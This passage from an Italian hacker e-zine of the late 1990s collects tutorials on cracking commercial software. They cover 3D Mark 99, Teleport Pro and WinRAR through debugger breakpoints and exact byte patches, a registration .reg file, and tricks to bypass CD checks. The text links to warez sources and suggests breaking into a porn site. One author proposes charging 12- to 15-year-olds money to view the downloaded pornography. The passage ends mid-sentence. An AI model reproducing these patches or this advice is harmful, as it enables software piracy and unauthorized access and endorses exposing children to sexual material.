ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME CRACKARE UN PROGRAMMA ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve di nuovo a tutti, sono sempre Quequero, con questo articolo cerchero' di insegnarvi a crackare un programma, in particolare attaccheremo e sproteggeremo 3D Mark 99 Pro. Questo prog. altro non e' che un sofisticato benchmark per le applicazioni 3D, ossia, misura le prestazioni della vostra scheda video (o meglio della vostra amatissima Vudu2 ;). Se installiamo il prog. reperibile sul sito http://www.3dmark.com vediamo che senza registrazione non possiamo cambiare le opzioni e possiamo eseguire solo il test di default, tutto cio' non ci piace vero? Bhe' penso di si altrimenti non stareste a leggere questo articolo ;). Dal momento che SpYmAsTeR ha fatto un'ottima introduzione al cracking sul secondo numero di Newbies non staro' a dilungarmi sulle API di winzoz e sulle altre cosette ma andro' direttamente al sodo. ----Aspettate che vado a cambiare l'acqua al pesce rosso di mio fratello ;)--Let's go crack!!! Allora installiamo tutto ed andiamo di filato nel box Register|Register 3DMark, ci vengono chiesti un nome ed un numero, a questo punto potremmo: 1) Sniffare il nostro numerino magico, solo che non e' professionaleeeeeeeee 2) Possiamo crackare il programmillo, ma non lo faremo!!! 3) Possiamo fare un keygenerator (troppo difficile per ora) 4) Possiamo fare quello che sto per scrivere, non vi viene nulla in mente eh? Useremo un tecnica descritta da +ORC come ECHO crack, cioe' non faremo altro che far comparire il numero seriale corretto al posto del solito messaggio "Number incorrect" "Wrong password" ecc... +ORC docet e ci dice: all'interno della maggior parte delle routine di protezione c'e' un momento in cui appare nello stack l'echo del numero seriale esatto, la locazione di questo echo varia anche se molto spesso si trova a +o90 byte da una delle locazioni nelle quali e' contenuto cio' che abbiamo inserito (cioe' nome e numero), per trovare il numero basta solo dumpare la memoria a quel l'indirizzo ed il gioco e' fatto, l'unico problema e' che l'echo resta in memoria per pochissimo tempo, quindi dovremo far appello al noto motto: carpe diem (come mi sento latino oggi ;) Vediamo adesso se +ORC scrive kazzate ;))))), apriamo il menu di registrazione del 3D Mark, inseriamo un nome (io usero' Quequero) e un numero (io uso sempre 666111666), con ctrl+d (^d) entriamo in softice (ce l'avete vero? Se no andate al mio sito http://quequero.cjb.net e nella sezione dei Link troverete un sito di warez molto veloce dal quale prelevare softice 3.24, nella sezione tools potrete invece trovare W32DASM e l'hex-workshop un editor esadecimale insieme a Hiew 6.02) mettiamo un breakpoint sulla funzione GetWindowTextA in questo modo: bpx getwindowtexta la "A" indica al debugger che stiamo prendendo in esame la funzione a 32-bit e non quella a 16. Usciamo da Sice con F5 e premiamo invio, come ci aspettavamo Sice ci poppa dritti in faccia, cosa si fa a questo punto? Si preme una volta F11 e 5 volte F12, adesso dovreste trovarvi davanti questa sezione di codice: **La "beggar off" e' il messaggio di password errata che ci danno i programmi** quando inseriamo un numero a kazzo ;)))) :00405C87 E856E30800 :00405C8C 8B4F64 :00405C8F :00405C92 :00405C94 :00405C9A :00405C9D :00405CA0 :00405CA2 :00405CA8 ; :00405CAB :00405CAD :00405CAF 8B41F8 85C0 0F8493000000 8B4760 8B40F8 85C0 0F8485000000 83F811 741D 6A00 6A00 Call 00493FE2 mov ecx, dword ptr [edi+64] <----- Noi siamo qui ; Edi+64 e Ecx contengono ; il nostro nome mov eax, dword ptr [ecx-08] test eax, eax <---Controlla che i box siano pieni je 00405D2D <----se e' non lo sono "Beggar off" mov eax, dword ptr [edi+60] <---edi+60 = 666111666 mov eax, dword ptr [eax-08] test eax, eax je 00405D2D cmp eax, 00000011<---- ci sono 17 caratteri nel box del serial number ? je 00405CCA<---se si salta altrimenti "Beggar off" push 00000000 push 00000000 * Possible Reference to String Resource ID=61598: "Incorrect registration information. Please enter the correct..." | :00405CB1 689EF00000 push 0000F09E :00405CB6 B950D44B00 mov ecx, 004BD450 <----Genera il messagebox della ;beggar off :00405CBB E8E04E0400 call 0044ABA0 :00405CC0 50 push eax Se non conoscete Sice vi dico che per far camminare la barra bianca si usa F10, facciamola arrivare su " mov ecx, dword ptr [edi+64]" e scriviamo: d edi+64 ;dump edi+64 vi appariranno una morra di numeri, voi dovrete prendere i primi 8 e dumparli al contrario, cioe' se vi viene qualcosa del genere: 015F:xxxxxxxx EC 5B 91 00 11 87 F5 94 82 EC AB 90 00 015F:xxxxxxxx 84 58 F5 94 82 EC AB 91 40 11 81 87 11 ecc ecc ecc..................... voi scriverete: d 00915BEC ;d'accordo? E vedrete apparire il vostro nome. Andiamo ancora avanti con F10 e vediamo una strana istruzione: :00405CA8 83F811 cmp eax, 00000011 In Assembly "cmp" significa "confronta" ed in particolare in questo caso vuol dire: confronta 11 esadecimale con il registro eax (procuratevi la guida italiana di Xoanon, sul mio sito oppure dove altro vi pare a voi). Ora mi spieghero' meglio, il programma fa una verifica per vedere se nel campo del numero seriale ci sono 17 caratteri (15 alfanumerici e due "-"), se non ci sono l'istruzione successiva ci manda alla Beggar off, ora vi starete chiedendo: Perche' se li' c'e' scritto 11 lui dice che il prog controlla se ci sono 17 caratteri? Perche' 11 esadecimale equivale a 17 e per vederlo basta scrivere in SoftIce. ? 11 hehe,ma andiamo avanti, se premiamo di nuovo F10 ci troveremo su questa linea: :00405CAB 741D je 00405CCA je vuol dire Jump if Equal, cioe' se l'istruzione precedente ha trovato 15 caratteri alfanumerici e 2 "-" nel campo del numero seriale allora procede al controllo altrimenti ci manda alla beggar off. Ricapitoliamo il tutto, prima il prg controlla la presenza di 17 caratteri, se sono 17 procede, ma fermiamoci un momento,quando state con la barra di sice su :00405CAB 741D je 00405CCA vedrete a destra la scritta "no jump" cio' vuol dire che la funzione non saltera', per ovviare al guaio cancelliamo tutti i breakpoint con: bc* mettiamone uno sull'istruzione "cmp" in questo modo: bpx 015F:00405CA8 ;oppure clickiamo due volte sulla riga in questione, o ancora premiamo F9 dopo aver clickato una volta sempre sul "cmp" usciamo da sice con F5 ed inseriamo al posto di 666111666 12345-12345-12345, ripremiamo invio e sice ci ripoppa in faccia. Stavolta se andiamo sul je vediamo che c'e' scritto "jump", bene, premiamo F10 e vediamo che "saltiamo" ;)))) e ci dovremmo trovare davanti a questo: :00405CCA E8D1FBFFFF call 004058A0 :00405CCF 8B7760 mov esi, dword ptr [edi+60] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00405CF4(C) | :00405CD2 8A10 mov dl, byte ptr [eax] <--BINGO!!! Eax contiene il # :00405CD4 8A1E mov bl, byte ptr [esi] :00405CD6 8ACA mov cl, dl :00405CD8 3AD3 cmp dl, bl :00405CDA 751E jne 00405CFA :00405CDC 84C9 test cl, cl :00405CDE 7416 je 00405CF6 :00405CE0 8A5001 mov dl, byte ptr [eax+01] :00405CE3 8A5E01 mov bl, byte ptr [esi+01] :00405CE6 8ACA mov cl, dl :00405CE8 3AD3 cmp dl, bl Facciamo una volta step ed esaminiamo eax, (d eax) BINGO!!! Contiene il numero che Cercavamo youhuuuuuuuuuu. Allora cosa possiamo fare? La "Call 004058A0" all'indirizzo 00405CCA genera il nostro ECHO, mentre "mov ecx, 004BD450" all'indirizzo 00405CB6 genera il messagebox con su scritto "Testa di kazzo hai sbagliato numero". Basta ora cambiare la chiamata "call 0044ABA0" in "call 004058A0" e sostituire "mov ecx, 004BD450" con "mov eax, 004BB4A0". Non avete capito una mazza vero? Si che e' vero, ora vi esplico tutto ;) Allora, cio' che abbiamo fatto e' stato cambiare la chiamata dopo l'idirizzo 00405CB6 in modo da renderla uguale a quella che genera il numero (questa chiamata mette il seriale in eax),poi abbiamo cambiato l'istruzione "mov ecx, 004BD450" in modo da mettere in eax il valore calcolato dalla chiamata call 004BB4A0, l'istruzione mov,eax 004BB4A0 quindi crea un messagebox con dentro scritto il numero seriale vero. Ma come si fa a cambiare i byte? Bella domanda, la soluzione e' semplice, basta scrivere: "a xxxxxxxx" dove xxxxxxxx rappresenta l'indirizzo della riga da cambiare, quindi per modificare la chiamata dovremo scrivere: a call 0044ABA0 call 004058A0 invio invio Cosi' via per le altre istruzioni. Dal momento che tutto cio' che facciamo in SoftIce e' solo momentaneo, dobbiamo fare in modo di patchare definitivamente il programma, ma come? Aprite sice e scrivete "code on" vedrete apparire tanti numerini, quelli sono i numeri decimali che rappresentano il codice assembly, voi provate a cambiare di nuovo byte come descritto sopra, segnatevi su un foglio come erano prima del cambiamento e come erano dopo, l'hex-workshop (che a mio parere e' il migliore editor esadecimale), cercate i byte prima del cambiamento e cambiateli come sono cambiati in softice, per agevolarvi ecco i byte gia' cambiati da me, forse capirete meglio: Sostituire: 000050B0 con: 000050B0 B950D44B00E8E04E0400 B8A0B44B00E8E0FBFFFF Questi sono opzionali: 0004C410 83F8040F84930000008B0EE8 000050A0 85C00F848500000083F811741D6A00 con: 0004C410 83F8049090909090908B0EE8 000050A0 85C090909090909083F81190906A00 Se cambiate i byte come vi ho indicato io per far funzionare il crack dovrete per forza inserire una lettera e/o un numero nei campi "nome" e "serial", noppando (90 in esadecimale significa NOP cioe' no operation) anche quelli opzionali dovrete solo premere invio. Ciauzzzzzzzz da Quequero P.S. Ringrazio Kill3xx che ultimamente e' stato molto disponibile con me e YanOrel che mi ha gentilmente linkato sul suo sito oltre ad aver inserito alcuni miei crack nell'omonima sezione Ariciauzzzzzzzzzzzzzzzzzz P.S.S Per bestemmie, insulti, scambi di indirizzi porno o altro scrivetemi a [email protected] e se vi va' andate su http://quequero.cjb.net (da quello che ho saputo e' il piu' grande sito di cracking italiano... quindi ;) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ PRINCIPI DI BASE X CRACKARE UN GIOCHINO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ciao ragazzi riekkoci ad un arikolaccio di AnArChY, vediamo alkuni principi di base (molto di base) x crakkare un giukino. Allora voi volete (disperatamente) l'ultimo titolo uscito, ci sono essenzialmente 3 modi per averlo: 1) Lekkare esageratemente il culo ai genitori oppure fare un giro da TUTTI i parenti 2) Andare dal pirata di fiducia e farselo copiare x poke lire 3) PROVARE a crakkarlo Bene i primi 2 non mi sembrano il max, quindi passiamo alla terza Allora prima kosa installatevi sull'HD la maggior parte di gioco possibile (in Syndacate Wars e molti altri titoli FUNZIONA) se siete sfigati (normalmente succede sempre kosi') ci sono 2 possibilita': 1) il gioco prende da CD musica e animazioni 2) il gioco usa il lettore come protezione Il primo passo da fare a questo punto controllare se sulla root del CD c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il programma cerca quando viene lanciato...copiando questo file nella directory del gioco a volte si puo' illudere il programma che sta girando sul CD-ROM (hihhi avevo fottuto Dark Force cosi')...se questo sistema non funziona allora bisogna ricorrere alla creazione di una unita' illusoria... Per fare questo potete usare il comando SUBST; usando SUBST D: C:/TEMP in questo modo l'unita' D sara' identificata colla dir TEMP purtroppo......i programmatori non sono (tanto) stupidi e spesso il gioco vi sgama :(( Se non funzia nemmeno kosi' provate col FAKECD (lo trovate sul sito di newbies), ke poi non e' altro ke l'evoluzione del SUBST Se non funziona nemmeno kosi.......avete 2 possibilita' 1) Leggetevi l'art di ki e' veramente capace di crakkare 2) ....sob....mi spiace dirvelo....ma...sbattetevi a cercare un crack sulla rete oppure chiedete su IRC BBBBYYYYEEEEZZZZZ a tutti e non insultatemi troppo per tutte ste banalita' AnArChY ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ CRACKARE TELEPORT PRO 1.29 ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ciao raga, sono l'onnipresente Quequero, in questo articolo vi insegnero' a crackare il mitico Teleport Pro 1.29, per chi non lo sapesse il Teleport e' un programmillo che grabba i siti, in pratica legge il sito dalla rete e ve lo copia pari pari sul disco duro con tutti i file e tutto quello che e' linkato, pensate che carino scaricarsi il sito di Quequero e guardarselo offline ;)))) Meglio ancora si puo' usare per grabbare un sito porno hehehehehe, hackatene uno oppure cercate una pass sulla rete, inserite l'user id e la pass nel Teleport, selezionate il tipo di file che volete grabbare (*.jpg, *.jpeg ecc..) e avviatelo, dopo cira 45-50 minuti avrete un bel sitozzo sul vostro amato picci', per cosa lo potreste usare? Per farvi le seghe direte voi, io rispondero' che per quello ci sono le fidanzate (che tralaltro fanno moooolto ma moooolto di piu' ;) e che lo potrete usare per lucrare danaro, mi spiego meglio, fate venire qualche bambinetto a casa vostra (dai 12 ai 15 anni funziona sempre), fatevi dare 10-12 mila lire e fatelo stare davanti al computer per 20-25 minuti, poi lo manderete via, cosi' lui sara' felice e arra**to mentre voi avrete le vostre belle 10k che + altre 10k fanno 20k e con quelle ci comprerete cio' che vorrete, canne, sigarette, vino, preservativi, insomma non ci servo io per dirvi cosa farci ;))) Mmmmmm credo di essere andato fuori tema, aspettate che leggo di cosa doveva parlare l'articolo............Ahhhhh ora rimembro, dovevo insegnarvi a crackare il teleport, allora let'go crack. Aprite il beneamato programma, andate in help|register ed inserite un nome, una compagnia (non serve ma dovete inserire o un carattere oppure uno spazio) ed un numero (questo deve essere un numero come 666111666 non mettete "ciao" altrimenti non funziona). ^D per entrare in softice, mettiamo un bp su getwindowtexta (bpx getwindowtexta) e premiamo F5, facciamo click su ok e sice poppa sul monitor, visto che adesso sta' controllando il nome ripremiamo F5, ora controlla il numero (ve lo avevo detto che company non serviva a un cavolo ;) e premete F11. Arrivati in questo punto dovreste avere qualcosa del genere: :00449D80 :00449D86 :00449D89 :00449D8B :00449D90 FF15C0334600 8B4D10 6AFF E83A93FFFF EB0B Call [User32!GetWindowTextA] mov ecx, [ebp+10] push FF call 004430CA jmp 00449D9D se non e' cosi' riprovate hihihi ;))) A questo punto cancelliamo tutti i bp e mettiamone uno sulla chiamata al l'indirizzo 00449D8B (bpx xxxx:00449D8B), usciamo da sice e ripremiamo "ok", se poppa significa che e' andato tutto bene. Adesso premiamo 3 volte F12 e dovremo avere davanti questo codice: :004246CD :004246CF :004246D1 :004246D2 :004246D8 :004246DD :004246DF :004246E4 :004246E7 :004246ED :004246F3 :004246F5 :004246FA :004246FC 33DB 6A0A 53 FFB6DD000000 E883620000 8BE8 A15C4C4800 83C40C 38989F020000 0F8437010000 3BEB BFD49A4700 7459 FFB6D5000000 xor ebx, ebx < --- Arriviamo qui push 0000000A push ebx push dword ptr [esi+000000DD] call 0042A960 mov ebp, eax mov eax, dword ptr [00484C5C] add esp, 0000000C cmp byte ptr [eax+0000029F], bl je 0042482A cmp ebp, ebx < --- In eax il vero seriale mov edi, 00479AD4 je 00424755 < --- salta se e' errato push dword ptr [esi+000000D5] Premete 15 volte F10 (in pratica fino a quando la barra bianca va' a finire sopra a "cmp ebp, eax". Ci siete? Credo di si, se qualche cosa cambia anche leggermente e' normale. Vedete l'istruzione all'indirizzo 004246F3 (quella che vi ho fatto raggiungere)? Questa verifica se il codice inserito da noi e' esatto, se ricordate, "cmp" significa "compare" cioe' "confronta", quindi significa che per controllare il nostro serial lo deve verificare con un altro e "l'altro" si trova in eax, per vederlo basta scrivere: ? eax adesso appariranno tre gruppi di numeri, il primo e' il valore di eax in esadecimale, il secondo e' quello decimale ed il terzo e' quello ASCII, voi dovrete prendere il secondo e provare, funziona? A me si, non sto qui a raccontarvi come si cracka il prg perche' e' un po' difficilino pero' date uno sguardo a questo codice: REGEDIT4 [HKEY_CURRENT_USER\Software\Tennyson Maxwell\Teleport Pro\User] "Company"="My House" "Name"="Quequero" "Registration"=dword:4efaf094 cosa ci dovete fare? Prendete un comune file di testo, ci incollate quel codice e rinominate il file come "crack.reg" o come vi pare purche' sia .reg, avviatelo ed ecco che il Teleport si registra a vostro nome (ovviamente dovrete sostituire sia il nome che il numero). Quequero ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ CRACKING, QUESTO SCONOSCIUTO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Chi di voi non ha mai scaricato un crack? Tu, tu e tu, FUORI! E chi di voi non si e' mai chiesto come venissero fatti questi utilissimi programmini? Ok, voi che avete alzato la mano, fuori anche voi! Chi di voi non sa cos'e' l'assembler, una decompilazione, un offset o un hex-editor? Ok, fuori e non rientrate finche' non vi sarete documentati. Fatta questa breve premessa, bisogna iniziarne un'altra :P Chi vuole diventare un cracker deve sapere le basi. Tutti possono dire "io so cosa e' un crack", ma il cracking vero non e' fatto a scopo di lucro, bensi' solo per sfida o per poter testare un programma a fondo senza essere annoiati da schermate scassapalle con scritto "Registrami!". Se un programma vi piace, COMPRATEVELO! Per esempio, io Windows98 non l'ho comprato ;) ma Commandos si'! Inoltre se volete crackare qualcosa, scaricatevi dei programmi vecchiotti e crackate quelli, per un motivo che vi spieghero' subito. Gli schemi di protezione + o - sono sempre gli stessi: scrivi una password, ammacca OK appena spunta il nag screen, ecc. Mai nessuno progetta delle vere e proprie protezioni sicure dai cracker. Percio' sapendo come crackare le protezioni piu' vecchie, potrete crackare quelle piu' nuove, avendo la necessaria base di conoscenza, visto che le variazioni rispetto alle protezioni piu' vecchie sono minime. Inoltre cercate di crackare dei giochi. Infatti per i giochi mettono SEMPRE protezioni piu' difficili delle altre. Queste protezioni una volta "passate di moda" vengono utilizzate per i comuni programmi shareware. Per fare un esempio ipotetico potreste trovare la protezione di Commandos (che si basa sull'inserimento nel CD originale di file fasulli delle modeste dimensioni di 1 Gb l'uno) nel Photshop 6.0 (che ancora non esiste). Sapendo quindi come si cracka, sarete i primi a rilasciare un crack! Bello no ;) ? Comunque, passiamo in rassegna i principali tipi di protezione e il loro modo di sprotezione: 1) Protezioni con password, serial, o altri codici numerici, alfanumerici o letterali Metodo di sprotezione: Basta disassemblare il tutto e invertire i jump, vi spieghero' cosa vuol dire nel tutorial sul cracking 2) Protezioni con Nag-Screen Bisogna trovare la routine che chiama il Nag e disabilitarla col comando NOP 3) Protezioni con contatori di tempo o di giorni Bisogna trovare il metodo in base al quale fanno salire il contatore. Puo' essere il compare tra una variabile che indica il tempo massimo e il tempo attuale, o altre schifezze... 4) Protezioni su CD o Diskette Cheking, ossia controllo del CD o del dischetto nel drive Basta NOPpare le chiamate ai controlli sui drive o eliminarle del tutto dal codice. 5) Protezioni basate su Dongle (chiave hardware) Ehm...ca**o queste sono difficilotte da crackare, perche' bisogna o emulare le funzioni del dongle via software, o peggio ancora, sono incrackabili se non clonando il dongle...la nostra fortuna e' che produrre chiavi hardware costa molto alle software house, che per ridurre i costi e fare maggiori guadagni si limitano alle pass...tutto a nostro favore ihihihih... 6) Protezioni che disabilitano alcune funzioni del software Un tipo di protezione che, siceramente, non ho mai incontrato. Dai pochi documenti che ho letto su questo argomento ne ho dedotto che sono a volte facili, a volte difficili, ma sinceramente non capisco come si possano attivare delle funzioni...muaH... Io, dal basso della mia esperienza (che vi credete, sono un newbie anche io!! :), posso essere credibile solo per il primo tipo di protezioni, visto che sono le piu' facili, e visto anche che tutti gli altri tipi richiedono il Soft-Ice (che comunque oggi 5/3/1999 mi son fatto passare, grazie N0bodY88 :). Allora, prima di tutto ogni cracker ha i suoi attrezzi. Come ogni bravo artigiano ha seghe, martelli, pialle noi abbiamo disassemblatori, debuggers, hex-editors. I primi servono a disassemblare un programma, ossia decompilare un programma in modo da portarlo in assembler. Avere il listato di un programma in assembler e' utilissimo, visto che grazie al WDasm 8.93 (ovviamente crackato ;), cioe' il nostro disassemblatore di fiducia, possiamo, grazie ad alcune ricerche facili e veloci, scoprire il serial, oppure fare in modo di editare il programma cosi' che qualunque pass noi mettiamo il programma la accetta. Immaginatevi che bello: "Winxxxx Registered to: <inserisci il tuo nome o nick> Serial: i'm an evil cracker and hax0r" che figurone con gli amici no? Il debugger e' una cosa ESSENZIALE nei crack piu' difficili. Infatti grazie al debugger (il migliore e' senza dubbio il Soft-Ice) possiamo impostare dei Breakpoint detti in gergo BPX, ossia delle "interruzioni su procedura", ossia interruzioni che si verificano al momento di inserire il codice o altro. Per esempio se noi al prompt nostro Soft-Ice scriviamo "BPX GetWindowTextA" appena verra' chiamata la procedura GetWindowTextA (che e' una procedura di una API di Windows, che serve a prendere un testo da una dialog) il debugger blocchera' tutto mostrandovi quello che il programma da crackare stava per fare...cosi' che voi possiate agire di conseguenza :) Gli hex-editors, beh, se non li conoscete ritiratevi, il mestiere di cracker non fa per voi. Ma passiamo adesso al tutorial!!! TUTORIAL No.1: COME CRACKARE IL WINRAR95.EXE (VER 2.03) Mmm, la prima cosa da fare e' procurarsi i necessari tools. Andate al sito www.crackstore.com e nella sezione tools scaricatevi il Wdasm 8.93 e l'Hiew 6.00. Se ci sono versioni piu' recenti non fate i lamer0ni e dite "ahhhhh non e' quello che hai detto tu percio' non lo prendo", ma arraffateli lo stesso. Allora, dopo avere preso i proggie installateveli (ossia scompattateli dove vi pare e piace) e createvi due copie di WINRAR95.EXE, una la chiamate WINRAR95.<estensione che vi piace> e un'altra WINRAR95.W32. Adesso aprite il Wdasm, premete il primo bottone sulla toolbar (che sarebbe apri file da disassemblare), andate nella directory del WinRAR e disassemblate il file WINRAR95.W32. Finita la disassemblazione attivate il WINRAR95.EXE e cercate di registrarvi inserendo Username e Password a vostro piacimento (io, tanto per farvelo sapere, metto sempre come Username Satana e come Password 666). A meno che non abbiate un kulo di dimensioni bibliche vi apparira' una finestrella con scritto "Registration Failed". Memorizzate o scrivetevi il messaggio della finestra di testo e tornate al Wdasm. Cliccate sul penultimo bottone, quello con scritto "Strn Ref". La pressione di questo bottone fara' apparire la lista delle stringhe di testo inserite nel programma. Fra queste cercate il vostro "Registration Failed" e fateci doppio clic. Noterete che il cursore si spostera' ad una certa riga, chiudete la finestrella delle String References e salite di un paio di righe con freccia su. Vi faccio lo schemino di come dovrebbe essere il vostro schermo a questo punto: * Possible Reference to String Resource ID=00106: "Registration Failed" :00413A8F 6A6A :00413A91 E863640000 | push 0000006A call 00419EF9 e poi altre tre righe. Adesso abbiamo trovato il posto dove andate a finire quando immettete una pass sbagliata. E qui entra in gioco uno dei principi fondamentali dell'assembler: i programmi vengono letti dall'alto in basso. Questo significa che il jump che dobbiamo cambiare sara' SEMPRE prima della stringa "Registrazione fallita". Quindi saliamo col cursore per un po' di righe. Ad un certo punto ci troveremo davanti ad una schermata interessante: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00413A51(C) | :00413A6D 8D9554FFFFFF lea edx, dword ptr [ebp+FFFFFF54] altre righe di codice... :00413A82 74DF jne 00413AB3 Questo "Referenced by..." imparerete ad amarlo. Significa che tutta la serie di procedure che dicono che il vostro serial fa schifo partono proprio dal "Jump if not equal" 00413A82...eheheheheh...Abbiamo quasi finito. In pratica questo jne vuol dire questo: se il codice e' diverso da quello giusto, vai e dimmi che non va. Allora, qui sta il crack: cambiamo il jne in je. In pratica: se il codice e' diverso da quello giusto, registrami...adesso selezionate con il cursore la riga con jne. La riga evidenziatrice passera' da blu a verde. Adesso guardate in fondo alla finestra di Wdasm, dovrebbe apparire una riga piu' o meno cosi': Line:35097 Pg 702 and 703 of 1501 Code Data @: 00413A82 @Offset 00013082h in File:Winrar95.w32 Segnatevi l'offset togliendo tutti gli zeri e la h finale (13082) e aprite Hiew. Andate nella dir del WinRar e aprite il file WINRAR95.EXE. Appariranno una serie di strani caratteri e altre porcherie, ma voi che siete cracker premete F4, selezionate DECODE e premete Invio. Magia! Appare il codice assembler di WINRAR! Premete F5, inserite il vostro offset, ossia 13082, e premete Invio. Vi apparira' una schermata del genere: .00413A82: 752F .00413A84: 6A30 jne push .000413AB3 030 -------- (1) Il 75 sara' selezionato, e voi premendo F3 lo potrete cambiare. Cambiatelo in 74, premete F9 e poi F10. Allora, spighiamo cio' che abbiamo fatto: cambiandolo in 74 abbiamo inserito un "je", quindi abbiamo crackato il programma in modo che accetti ogni pass. Con F9 abbiamo salvato e con F10 siamo usciti da Hiew. Adesso arriva la prova finale...eseguite WINRAR95.EXE e immettete un qualunque Username e Password, a vostra scelta. Se appare la scritta "Thanks for supporting", siete a cavallo! Il programma e' crackato, FESTA, EVVIVA! Chiudete e riavviate il WINRAR: bum, in alto e' riapparsa la scritta (evaluation copy)...DOH...ma cosa puo' essere successo? Semplice, se il codice non e' quello giusto, il programma si registra comunque, ma rimane la scritta (evaluation copy) in alto, e cio' non e' professionale! Allora, compito per casa: togliete la scritta! Per aiutarvi vi dico che servono ancora le String Reference e il cambio di un jump...se non ci riuscite al primo colpo, andate a tentativi: cambiate prima un jump, poi un altro e cosi' via. Se proprio non doveste riuscirvi, nel prossimo numero di Newbies ci sara' la soluzione... SpYmAsTeR (or SpYm4sT3R) [email protected] (P.S. per N0bodY: ho una correzione, nello scorso numero avete che scritto che per velocizzare i dcc bisogna scrivere /pdcc 99999999999, ma la miglior combo e' questa: prima si mette /fsend on e poi /pdcc 2147483647 il numero 2147483647 e' il migliore in assoluto, e' il valore massimo possibile, mentre 999999999 lo ridurrebbe...e stai trankuillo che funzia di brutto...2.5 Kb/sec su dcc...con 3 explorer e 2 dload aperti) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ CRAKKIAMO AGE OF EMPIRES ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Disclaimer: Non mi ritengo responsabile per l'utilizzo delle tecniche sotto riportate ecc. ecc. ecc. Non mi rompete per eventuali errori, stronzate e altre cose dette. Dedicato a: il mio amico Dantuccio Alighierucci, il mitico NObodY88 poi a . . . a . . . si a tutti i tipi di hackernow (ci venite al FuturShow???), ma siii pure a Demonio-- un lameraccio che mi nukka sulla 139 ogni volta che mi vede ! Strumenti necessari: Age of empires, Windasm 8,9 o sup, Hiew 5.9 o sup, dose di culo. A cosa servono ?? Age of empires e' scontato, windasm serve a disassembrare il file .exe mentre hiew serve a modificarlo. Allora per prima cosa un salve a tutti, per seconda un grazie a NObodY88 che mi ha permesso di pubblicare questo articolo. Con questo tutorial intendero' spiegarvi come riuscire a 